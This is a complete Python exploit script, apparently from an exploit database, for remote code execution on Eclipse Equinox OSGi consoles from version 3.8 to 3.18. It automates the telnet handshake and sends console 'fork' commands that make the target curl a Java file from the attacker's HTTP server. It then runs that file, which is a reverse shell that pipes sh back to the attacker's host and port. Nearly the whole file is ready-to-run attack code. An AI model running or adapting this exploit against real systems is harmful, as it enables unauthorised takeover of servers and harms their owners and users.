#!/usr/bin/python
# Exploit Title: [OSGi v3.8-3.18 Console RCE]
# Date: [2023-07-28]
# Exploit Author: [Andrzej Olchawa, Milenko Starcik,
# VisionSpace Technologies GmbH]
# Exploit Repository:
# [https://github.com/visionspacetec/offsec-osgi-exploits.git]
# Vendor Homepage: [https://eclipse.dev/equinox]
# Software Link: [https://archive.eclipse.org/equinox/]
# Version: [3.8 - 3.18]
# Tested on: [Linux kali 6.3.0-kali1-amd64]
# License: [MIT]
#
# Usage:
# python exploit.py --help
#
# Example:
# python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 \
# --lport=4444
"""
This is an exploit that allows to open a reverse shell connection from
the system running OSGi v3.8-3.18 and earlier.
"""
import argparse
import socket
import sys
import threading
from functools import partial
from http.server import BaseHTTPRequestHandler, HTTPServer
# Stage 1 of the handshake message
HANDSHAKE_STAGE_1 = \
b"\xff\xfd\x01\xff\xfd" \
b"\x03\xff\xfb\x1f\xff" \
b"\xfa\x1f\x00\x74\x00" \
b"\x37\xff\xf0\xff\xfb" \
b"\x18"
# Stage 2 of the handshake message
HANDSHAKE_STAGE_2 = \
b"\xff\xfa\x18\x00\x58" \
b"\x54\x45\x52\x4d\x2d" \
b"\x32\x35\x36\x43\x4f" \
b"\x4c\x4f\x52\xff\xf0"
# The buffer of this size is enough to handle the telnet handshake
BUFFER_SIZE = 2 * 1024
class HandlerClass(BaseHTTPRequestHandler):
"""
This class overrides the BaseHTTPRequestHandler. It provides a specific
functionality used to deliver a payload to the target host.
"""
_lhost: str
_lport: int
def __init__(self, lhost, lport, *args, **kwargs):
self._lhost = lhost
self._lport = lport
super().__init__(*args, **kwargs)
def _set_response(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
def do_GET(self): # pylint: disable=C0103
"""
This method is responsible for the playload delivery.
"""
print("Delivering the payload...")
self._set_response()
self.wfile.write(generate_revshell_payload(
self._lhost, self._lport).encode('utf-8'))
raise KeyboardInterrupt
def log_message(self, format, *args): # pylint: disable=W0622
"""
This method redefines a built-in method to suppress
BaseHTTPRequestHandler log messages.
"""
return
def generate_revshell_payload(lhost, lport):
"""
This function generates the Revershe Shell payload that will
be executed on the target host.
"""
payload = \
"import java.io.IOException;import java.io.InputStream;" \
"import java.io.OutputStream;import java.net.Socket;" \
"class RevShell {public static void main(String[] args) " \
"throws Exception { String host=\"%s\";int port=%d;" \
"String cmd=\"sh\";Process p=new ProcessBuilder(cmd)." \
"redirectErrorStream(true).start();Socket s=new Socket(host,port);" \
"InputStream pi=p.getInputStream(),pe=p.getErrorStream(), " \
"si=s.getInputStream();OutputStream po=p.getOutputStream()," \
"so=s.getOutputStream();while(!s.isClosed()){while(pi.available()" \
">0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());" \
"while(si.available()>0)po.write(si.read());so.flush();po.flush();" \
"Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};" \
"p.destroy();s.close();}}\n" % (
lhost, lport)
return payload
def run_payload_delivery(lhost, lport):
"""
This function is responsible for payload delivery.
"""
print("Setting up the HTTP server for payload delivery...")
handler_class = partial(HandlerClass, lhost, lport)
server_address = ('', 80)
httpd = HTTPServer(server_address, handler_class)
try:
print("[+] HTTP server is running.")
httpd.serve_forever()
except KeyboardInterrupt:
print("[+] Payload delivered.")
except Exception as err: # pylint: disable=broad-except
print("[-] Failed payload delivery!")
print(err)
finally:
httpd.server_close()
def generate_stage_1(lhost):
"""
This function generates the stage 1 of the payload.
"""
stage_1 = b"fork \"curl http://%s -o ./RevShell.java\"\n" % (
lhost.encode()
)
return stage_1
def generate_stage_2():
"""
This function generates the stage 2 of the payload.
"""
stage_2 = b"fork \"java ./RevShell.java\"\n"
return stage_2
def establish_connection(rhost, rport):
"""
This function creates a socket and establishes the connection
to the target host.
"""
print("[*] Connecting to OSGi Console...")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((rhost, rport))
print("[+] Connected.")
return sock
def process_handshake(sock):
"""
This function process the handshake with the target host.
"""
print("[*] Processing the handshake...")
sock.recv(BUFFER_SIZE)
sock.send(HANDSHAKE_STAGE_1)
sock.recv(BUFFER_SIZE)
sock.send(HANDSHAKE_STAGE_2)
sock.recv(BUFFER_SIZE)
sock.recv(BUFFER_SIZE)
def deliver_payload(sock, lhost):
"""
This function executes the first stage of the exploitation.
It triggers the payload delivery mechanism to the target host.
"""
stage_1 = generate_stage_1(lhost)
print("[*] Triggering the payload delivery...")
sock.send(stage_1)
sock.recv(BUFFER_SIZE)
sock.recv(BUFFER_SIZE)
def execute_payload(sock):
"""
This function executes the second stage of the exploitation.
It sends payload which is responsible for code execution.
"""
stage_2 = generate_stage_2()
print("[*] Executing the payload...")
sock.send(stage_2)
sock.recv(BUFFER_SIZE)
sock.recv(BUFFER_SIZE)
print("[+] Payload executed.")
def exploit(args, thread):
"""
This function sends the multistaged payload to the tareget host.
"""
try:
sock = establish_connection(args.rhost, args.rport)
process_handshake(sock)
deliver_payload(sock, args.lhost)
# Join the thread running the HTTP server
# and wait for payload delivery
thread.join()
execute_payload(sock)
sock.close()
print("[+] Done.")
except socket.error as err:
print("[-] Could not connect!")
print(err)
sys.exit()
def parse():
"""
This fnction is used to parse and return command-line arguments.
"""
parser = argparse.ArgumentParser(
prog="OSGi-3.8-console-RCE",
description="This tool will let you open a reverse shell from the "
"system that is running OSGi with the '-console' "
"option in versions between 3.8 and 3.18.",
epilog="Happy Hacking! :)",
)
parser.add_argument("--rhost", dest="rhost",
help="remote host", type=str, required=True)
parser.add_argument("--rport", dest="rport",
help="remote port", type=int, required=True)
parser.add_argument("--lhost", dest="lhost",
help="local host", type=str, required=False)
parser.add_argument("--lport", dest="lport",
help="local port", type=int, required=False)
parser.add_argument("--version", action="version",
version="%(prog)s 0.1.0")
return parser.parse_args()
def main(args):
"""
Main fuction.
"""
thread = threading.Thread(
target=run_payload_delivery, args=(args.lhost, args.lport))
thread.start()
exploit(args, thread)
if __name__ == "__main__":
main(parse())